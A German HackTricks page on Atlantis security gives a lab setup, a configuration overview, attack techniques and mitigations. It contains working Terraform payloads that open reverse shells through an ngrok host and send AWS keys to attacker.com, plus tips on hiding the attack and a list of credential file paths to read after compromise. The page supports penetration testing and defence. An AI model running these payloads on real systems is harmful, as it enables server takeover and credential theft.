German - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor

Atlantis Security

Support HackTricks

Grundinformationen

Atlantis hilft dir im Grunde, Terraform von Pull Requests von deinem Git-Server auszuführen.

Lokales Labor

  1. Gehe zur Atlantis-Release-Seite in https://github.com/runatlantis/atlantis/releases und lade die passende Version herunter.

  2. Erstelle ein persönliches Token (mit Repo-Zugriff) deines GitHub-Benutzers.

  3. Führe ./atlantis testdrive aus, und es wird ein Demo-Repo erstellt, das du verwenden kannst, um mit Atlantis zu kommunizieren.

  4. Du kannst die Webseite unter 127.0.0.1:4141 aufrufen.

Atlantis-Zugriff

Git-Server-Anmeldeinformationen

Atlantis unterstützt mehrere Git-Hosts wie GitHub, GitLab, Bitbucket und Azure DevOps. Um jedoch auf die Repos auf diesen Plattformen zuzugreifen und Aktionen durchzuführen, muss ihm privilegierter Zugriff gewährt werden (mindestens Schreibberechtigungen). Die Dokumentation empfiehlt, einen Benutzer auf diesen Plattformen speziell für Atlantis zu erstellen, aber einige Leute könnten persönliche Konten verwenden.

In jedem Fall wird aus der Perspektive eines Angreifers das Atlantis-Konto sehr interessant sein, kompromittiert zu werden.

Webhooks

Atlantis verwendet optional Webhook-Geheimnisse, um zu validieren, dass die Webhooks, die es von deinem Git-Host erhält, legitim sind.

Eine Möglichkeit, dies zu bestätigen, wäre, Anfragen nur von den IPs deines Git-Hosts zuzulassen, aber ein einfacherer Weg ist die Verwendung eines Webhook-Geheimnisses.

Beachte, dass du, es sei denn, du verwendest einen privaten GitHub- oder Bitbucket-Server, Webhook-Endpunkte ins Internet exponieren musst.

Atlantis wird Webhooks exponieren, damit der Git-Server ihm Informationen senden kann. Aus der Perspektive eines Angreifers wäre es interessant zu wissen, ob du ihm Nachrichten senden kannst.

Anbieter-Anmeldeinformationen

Aus der Dokumentation:

Atlantis führt Terraform aus, indem es einfach die Befehle terraform plan und apply auf dem Server ausführt, auf dem Atlantis gehostet wird. Genau wie bei der lokalen Ausführung von Terraform benötigt Atlantis Anmeldeinformationen für deinen spezifischen Anbieter.

Es liegt an dir, wie du Anmeldeinformationen für deinen spezifischen Anbieter an Atlantis bereitstellst:

  • Das Atlantis Helm-Chart und das AWS Fargate-Modul haben ihre eigenen Mechanismen für Anbieter-Anmeldeinformationen. Lies ihre Dokumentation.

  • Wenn du Atlantis in der Cloud betreibst, haben viele Clouds Möglichkeiten, Anwendungen, die auf ihnen laufen, API-Zugriff zu gewähren, z.B.:

  • AWS EC2-Rollen (Suche nach "EC2-Rolle")

  • GCE-Instanzdienstkonten

  • Viele Benutzer setzen Umgebungsvariablen, z.B. AWS_ACCESS_KEY, wo Atlantis läuft.

  • Andere erstellen die erforderlichen Konfigurationsdateien, z.B. ~/.aws/credentials, wo Atlantis läuft.

  • Verwende den HashiCorp Vault Provider, um Anbieter-Anmeldeinformationen zu erhalten.

Der Container, in dem Atlantis läuft, wird höchstwahrscheinlich privilegierte Anmeldeinformationen für die Anbieter (AWS, GCP, GitHub...) enthalten, die Atlantis über Terraform verwaltet.

Webseite

Standardmäßig wird Atlantis eine Webseite auf Port 4141 auf localhost ausführen. Diese Seite ermöglicht es dir lediglich, Atlantis-Anwendungen zu aktivieren/deaktivieren und den Planstatus der Repos zu überprüfen und sie zu entsperren (sie erlaubt keine Änderungen, daher ist sie nicht sehr nützlich).

Du wirst sie wahrscheinlich nicht im Internet finden, aber es scheint, dass standardmäßig keine Anmeldeinformationen erforderlich sind, um darauf zuzugreifen (und wenn doch, sind atlantis:atlantis die Standard-Anmeldeinformationen).

Serverkonfiguration

Die Konfiguration für atlantis server kann über Befehlszeilen-Flags, Umgebungsvariablen, eine Konfigurationsdatei oder eine Mischung aus dreien angegeben werden.

Werte werden in dieser Reihenfolge ausgewählt:

  1. Flags

  2. Umgebungsvariablen

  3. Konfigurationsdatei

Beachte, dass du in der Konfiguration interessante Werte wie Tokens und Passwörter finden könntest.

Repo-Konfiguration

Einige Konfigurationen beeinflussen, wie die Repos verwaltet werden. Es ist jedoch möglich, dass jedes Repo unterschiedliche Einstellungen benötigt, sodass es Möglichkeiten gibt, jedes Repo anzugeben. Dies ist die Prioritätsreihenfolge:

  1. Repo /atlantis.yml Datei. Diese Datei kann verwendet werden, um anzugeben, wie Atlantis das Repo behandeln soll. Standardmäßig können jedoch einige Schlüssel hier ohne bestimmte Flags nicht angegeben werden.

  2. Wahrscheinlich erforderlich, um durch Flags wie allowed_overrides oder allow_custom_workflows erlaubt zu werden.

  3. Serverseitige Konfiguration: Du kannst sie mit dem Flag --repo-config übergeben, und es ist ein YAML, das neue Einstellungen für jedes Repo konfiguriert (Regex unterstützt).

  4. Standard-Werte.

PR-Schutz

Atlantis ermöglicht es anzugeben, ob du möchtest, dass der PR von jemand anderem genehmigt wird (auch wenn das nicht in den Branch-Schutz eingestellt ist) und/oder mergeable (Branch-Schutz bestanden) ist, bevor apply ausgeführt wird. Aus sicherheitstechnischer Sicht ist es ratsam, beide Optionen zu setzen.

Falls allowed_overrides wahr ist, können diese Einstellungen in jedem Projekt durch die /atlantis.yml-Datei überschrieben werden.

Skripte

Die Repo-Konfiguration kann Skripte angeben, die vor (Pre-Workflow-Hooks) und nach (Post-Workflow-Hooks) einem Workflow ausgeführt werden.

Es gibt keine Option, um diese Skripte in der Repo /atlantis.yml-Datei anzugeben.

Workflow

In der Repo-Konfiguration (serverseitige Konfiguration) kannst du einen neuen Standard-Workflow angeben oder neue benutzerdefinierte Workflows erstellen. Du kannst auch angeben, welche Repos auf die neuen generierten zugreifen können. Dann kannst du die atlantis.yaml-Datei jedes Repos erlauben, den zu verwendenden Workflow anzugeben.

Wenn das serverseitige Konfigurations Flag allow_custom_workflows auf True gesetzt ist, können Workflows in der atlantis.yaml-Datei jedes Repos angegeben werden. Es könnte auch erforderlich sein, dass allowed_overrides auch workflow angibt, um den Workflow zu überschreiben, der verwendet werden soll. Dies würde im Grunde RCE im Atlantis-Server für jeden Benutzer, der auf dieses Repo zugreifen kann, gewähren.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Conftest Richtlinienprüfung

Atlantis unterstützt die Ausführung von serverseitigen conftest Richtlinien gegen die Plan-Ausgabe. Häufige Anwendungsfälle für diesen Schritt sind:

  • Verweigerung der Nutzung einer Liste von Modulen

  • Überprüfung von Attributen einer Ressource zum Zeitpunkt der Erstellung

  • Auffangen unbeabsichtigter Ressourcenlöschungen

  • Verhinderung von Sicherheitsrisiken (d.h. das Offenlegen sicherer Ports für die Öffentlichkeit)

Sie können überprüfen, wie Sie es in den Dokumenten konfigurieren können.

Atlantis Befehle

In den Dokumenten finden Sie die Optionen, die Sie verwenden können, um Atlantis auszuführen:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Angriffe

Wenn Sie während der Ausnutzung diesen Fehler finden: Error: Error acquiring the state lock

Können Sie ihn beheben, indem Sie Folgendes ausführen:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - Konfigurationsänderung in neuem PR

Wenn Sie Schreibzugriff auf ein Repository haben, können Sie einen neuen Branch erstellen und einen PR generieren. Wenn Sie atlantis plan ausführen können (oder es möglicherweise automatisch ausgeführt wird), werden Sie in der Lage sein, RCE innerhalb des Atlantis-Servers durchzuführen.

Sie können dies tun, indem Sie Atlantis eine externe Datenquelle laden lassen. Fügen Sie einfach eine Payload wie die folgende in die main.tf-Datei ein:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Stealthier Angriff

You can perform this attack even in a stealthier way, by following this suggestions:

  • Statt die rev shell direkt in die terraform-Datei einzufügen, können Sie eine externe Ressource laden, die die rev shell enthält:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Sie können den rev shell Code in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules finden.

  • Verwenden Sie im externen Ressourcen die ref-Funktion, um den terraform rev shell Code in einem Branch innerhalb des Repos zu verbergen, etwas wie: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

  • Stattdessen von einem PR zu master zu erstellen, um Atlantis auszulösen, erstellen Sie 2 Branches (test1 und test2) und erstellen Sie einen PR von einem zum anderen. Wenn Sie den Angriff abgeschlossen haben, entfernen Sie einfach den PR und die Branches.

Atlantis Plan Secrets Dump

Sie können Secrets, die von terraform verwendet werden, dumpen, indem Sie atlantis plan (terraform plan) ausführen und etwas wie dies in die Terraform-Datei einfügen:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis apply RCE - Konfigurationsänderung in neuem PR

Wenn Sie Schreibzugriff auf ein Repository haben, können Sie einen neuen Branch erstellen und einen PR generieren. Wenn Sie atlantis apply ausführen können, werden Sie in der Lage sein, RCE innerhalb des Atlantis-Servers zu erreichen.

Sie müssen jedoch normalerweise einige Schutzmaßnahmen umgehen:

  • Mergeable: Wenn dieser Schutz in Atlantis aktiviert ist, können Sie atlantis apply nur ausführen, wenn der PR mergeable ist (was bedeutet, dass der Branch-Schutz umgangen werden muss).

  • Überprüfen Sie mögliche Umgehungen von Branch-Schutzmaßnahmen

  • Approved: Wenn dieser Schutz in Atlantis aktiviert ist, muss ein anderer Benutzer den PR genehmigen, bevor Sie atlantis apply ausführen können.

  • Standardmäßig können Sie das Gitbot-Token missbrauchen, um diesen Schutz zu umgehen

Ausführen von terraform apply auf einer bösartigen Terraform-Datei mit local-exec. Sie müssen nur sicherstellen, dass eine Payload wie die folgenden im main.tf-Datei endet:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Befolgen Sie die Vorschläge aus der vorherigen Technik, um diesen Angriff auf eine diskretere Weise durchzuführen.

Terraform Param Injection

Wenn atlantis plan oder atlantis apply ausgeführt wird, wird Terraform untergeordnet ausgeführt. Sie können Befehle an Terraform von Atlantis über Kommentare übergeben, indem Sie etwas wie Folgendes schreiben:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Etwas, das Sie übergeben können, sind Umgebungsvariablen, die hilfreich sein könnten, um einige Schutzmaßnahmen zu umgehen. Überprüfen Sie die Terraform-Umgebungsvariablen in https://www.terraform.io/cli/config/environment-variables

Benutzerdefinierter Workflow

Ausführen von bösartigen benutzerdefinierten Build-Befehlen, die in einer atlantis.yaml-Datei angegeben sind. Atlantis verwendet die atlantis.yaml-Datei aus dem Pull-Request-Zweig, nicht von master. Diese Möglichkeit wurde in einem vorherigen Abschnitt erwähnt:

Wenn das serverseitige Konfigurations Flag allow_custom_workflows auf True gesetzt ist, können Workflows in der atlantis.yaml-Datei jedes Repos spezifiziert werden. Es ist auch potenziell erforderlich, dass allowed_overrides auch workflow angibt, um den Workflow zu überschreiben, der verwendet werden soll.

Dies gibt im Grunde RCE im Atlantis-Server für jeden Benutzer, der auf dieses Repo zugreifen kann.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Umgehung von Plan-/Anwendungs-Schutzmaßnahmen

Wenn das Server-seitige Konfigurations Flag allowed_overrides die apply_requirements konfiguriert hat, ist es möglich, dass ein Repo die Plan-/Anwendungs-Schutzmaßnahmen ändert, um sie zu umgehen.

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

Wenn jemand atlantis plan/apply Kommentare zu Ihren gültigen Pull-Requests sendet, wird Terraform ausgeführt, wenn Sie es nicht möchten.

Darüber hinaus, wenn Sie nicht in den Branch-Schutz konfiguriert haben, um bei jedem neuen Commit zu verlangen, dass jeder PR neu bewertet wird, könnte jemand bösartige Konfigurationen (siehe vorherige Szenarien) in der Terraform-Konfiguration schreiben, atlantis plan/apply ausführen und RCE erlangen.

Dies ist die Einstellung in den Github-Branch-Schutz:

Webhook Secret

Wenn es Ihnen gelingt, das Webhook-Secret zu stehlen oder wenn kein Webhook-Secret verwendet wird, könnten Sie den Atlantis-WebHook aufrufen und Atlantis-Befehle direkt ausführen.

Bitbucket

Bitbucket Cloud unterstützt keine Webhook-Secrets. Dies könnte Angreifern ermöglichen, Anfragen von Bitbucket zu fälschen. Stellen Sie sicher, dass Sie nur Bitbucket-IP-Adressen zulassen.

  • Das bedeutet, dass ein Angreifer falsche Anfragen an Atlantis stellen könnte, die so aussehen, als kämen sie von Bitbucket.

  • Wenn Sie --repo-allowlist angeben, könnten sie nur Anfragen zu diesen Repos fälschen, sodass der größte Schaden, den sie anrichten könnten, darin bestünde, auf Ihren eigenen Repos zu planen/anwenden.

  • Um dies zu verhindern, erlauben Sie nur Bitbucket-IP-Adressen (siehe ausgehende IPv4-Adressen).

Post-Exploitation

Wenn Sie Zugriff auf den Server erhalten haben oder zumindest einen LFI haben, gibt es einige interessante Dinge, die Sie versuchen sollten zu lesen:

  • /home/atlantis/.git-credentials Enthält VCS-Zugangsdaten

  • /atlantis-data/atlantis.db Enthält VCS-Zugangsdaten mit weiteren Informationen

  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Terraform-Zustandsdatei

  • Beispiel: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate

  • /proc/1/environ Umgebungsvariablen

  • /proc/[2-20]/cmdline Cmd-Zeile von atlantis server (kann sensible Daten enthalten)

Mitigationen

Nicht auf öffentlichen Repos verwenden

Da jeder auf öffentlichen Pull-Requests kommentieren kann, ist es selbst mit allen verfügbaren Sicherheitsmaßnahmen immer noch gefährlich, Atlantis auf öffentlichen Repos ohne ordnungsgemäße Konfiguration der Sicherheitseinstellungen auszuführen.

Verwenden Sie nicht --allow-fork-prs

Wenn Sie auf einem öffentlichen Repo (was nicht empfohlen wird, siehe oben) arbeiten, sollten Sie --allow-fork-prs nicht setzen (Standard ist false), da jeder einen Pull-Request von seinem Fork zu Ihrem Repo öffnen kann.

--repo-allowlist

Atlantis erfordert, dass Sie eine Allowlist von Repositories angeben, von denen es Webhooks über das Flag --repo-allowlist akzeptiert. Zum Beispiel:

  • Bestimmte Repositories: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests

  • Ihre gesamte Organisation: --repo-allowlist=github.com/runatlantis/*

  • Jedes Repository in Ihrer GitHub Enterprise-Installation: --repo-allowlist=github.yourcompany.com/*

  • Alle Repositories: --repo-allowlist=*. Nützlich, wenn Sie sich in einem geschützten Netzwerk befinden, aber gefährlich, ohne auch ein Webhook-Secret festzulegen.

Dieses Flag stellt sicher, dass Ihre Atlantis-Installation nicht mit Repositories verwendet wird, die Sie nicht kontrollieren. Siehe atlantis server --help für weitere Details.

Terraform-Planung schützen

Wenn Angreifer Pull-Requests mit bösartigem Terraform-Code in Ihrem Bedrohungsmodell einreichen, müssen Sie sich bewusst sein, dass Genehmigungen für terraform apply nicht ausreichen. Es ist möglich, bösartigen Code in einem terraform plan auszuführen, indem die external Datenquelle verwendet oder ein bösartiger Anbieter angegeben wird. Dieser Code könnte dann Ihre Anmeldeinformationen exfiltrieren.

Um dies zu verhindern, könnten Sie:

  1. Anbieter in das Atlantis-Image einbacken oder hosten und den Ausgang im Produktionsumfeld verweigern.

  2. Das Anbieter-Registry-Protokoll intern implementieren und öffentlichen Ausgang verweigern, sodass Sie kontrollieren, wer Schreibzugriff auf das Registry hat.

  3. Ihren serverseitigen Repo-Konfigurations plan-Schritt ändern, um gegen die Verwendung von nicht erlaubten Anbietern oder Datenquellen oder PRs von nicht erlaubten Benutzern zu validieren. Sie könnten auch an diesem Punkt zusätzliche Validierungen hinzufügen, z.B. ein "Daumen hoch" für den PR verlangen, bevor Sie den plan fortsetzen lassen. Conftest könnte hier nützlich sein.

Webhook-Secrets

Atlantis sollte mit Webhook-Secrets ausgeführt werden, die über die Umgebungsvariablen $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET festgelegt sind. Selbst mit dem gesetzten Flag --repo-allowlist könnten Angreifer Anfragen an Atlantis stellen, die sich als ein Repository ausgeben, das auf der Allowlist steht. Webhook-Secrets stellen sicher, dass die Webhook-Anfragen tatsächlich von Ihrem VCS-Anbieter (GitHub oder GitLab) stammen.

Wenn Sie Azure DevOps verwenden, fügen Sie anstelle von Webhook-Secrets einen grundlegenden Benutzernamen und ein Passwort hinzu.

Azure DevOps Basic Authentication

Azure DevOps unterstützt das Senden eines Basic-Authentication-Headers in allen Webhook-Ereignissen. Dies erfordert die Verwendung einer HTTPS-URL für Ihren Webhook-Standort.

SSL/HTTPS

Wenn Sie Webhook-Secrets verwenden, aber Ihr Datenverkehr über HTTP läuft, könnten die Webhook-Secrets gestohlen werden. Aktivieren Sie SSL/HTTPS mit den Flags --ssl-cert-file und --ssl-key-file.

Authentifizierung auf dem Atlantis-Webserver aktivieren

Es wird dringend empfohlen, die Authentifizierung im Webdienst zu aktivieren. Aktivieren Sie BasicAuth mit --web-basic-auth=true und richten Sie einen Benutzernamen und ein Passwort mit den Flags --web-username=yourUsername und --web-password=yourPassword ein.

Sie können diese auch als Umgebungsvariablen übergeben: ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername und ATLANTIS_WEB_PASSWORD=yourPassword.

Referenzen

Support HackTricks
PreviousTerraform SecurityNextCloudflare Security

Last updated